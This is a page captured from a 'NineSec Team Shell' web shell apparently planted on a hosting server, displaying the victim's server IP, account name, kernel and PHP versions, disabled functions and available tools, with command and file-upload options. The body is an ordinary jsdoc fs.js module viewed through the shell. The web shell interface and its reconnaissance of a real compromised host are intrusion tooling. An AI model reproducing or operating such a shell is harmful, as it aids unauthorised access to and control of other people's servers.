NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/jsdoc/lib/jsdoc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/jsdoc/lib/jsdoc/fs.js
/**
 * Extended version of the standard `fs` module.
 * @module jsdoc/fs
 */
const fs = require('fs');
const path = require('path');
const mkdirp = require('mkdirp');

const ls = exports.ls = (dir, recurse, _allFiles, _path) => {
    let file;
    let files;
    let isFile;

    // first pass
    if (_path === undefined) {
        _allFiles = [];
        _path = [dir];
    }

    if (!_path.length) {
        return _allFiles;
    }

    if (recurse === undefined) {
        recurse = 1;
    }

    try {
        isFile = fs.statSync(dir).isFile();
    }
    catch (e) {
        isFile = false;
    }
    if (isFile) {
        files = [dir];
    }
    else {
        files = fs.readdirSync(dir);
    }

    for (let i = 0, l = files.length; i < l; i++) {
        file = String(files[i]);

        // skip dot files
        if (file.match(/^\.[^./\\]/)) {
            continue;
        }

        if ( fs.statSync(path.join(_path.join('/'), file)).isDirectory() ) {
            // it's a directory
            _path.push(file);

            if (_path.length - 1 < recurse) {
                ls(_path.join('/'), recurse, _allFiles, _path);
            }
            _path.pop();
        }
        else {
            // it's a file
            _allFiles.push( path.normalize(path.join(_path.join('/'), file)) );
        }
    }

    return _allFiles;
};

exports.toDir = _path => {
    let isDirectory;

    _path = path.normalize(_path);

    try {
        isDirectory = fs.statSync(_path).isDirectory();
    }
    catch (e) {
        isDirectory = false;
    }

    if (isDirectory) {
        return _path;
    } else {
        return path.dirname(_path);
    }
};

exports.mkPath = _path => {
    if ( Array.isArray(_path) ) {
        _path = _path.join('');
    }

    mkdirp.sync(_path);
};

exports.copyFileSync = (inFile, outDir = '', fileName) => {
    fileName = fileName || path.basename(inFile);

    fs.copyFileSync(inFile, path.join(outDir, fileName));
};

const alwaysOverride = {
    'copyFileSync': true
};

Object.keys(fs).forEach(member => {
    if (!alwaysOverride[member]) {
        exports[member] = fs[member];
    }
});


NineSec Team - 2022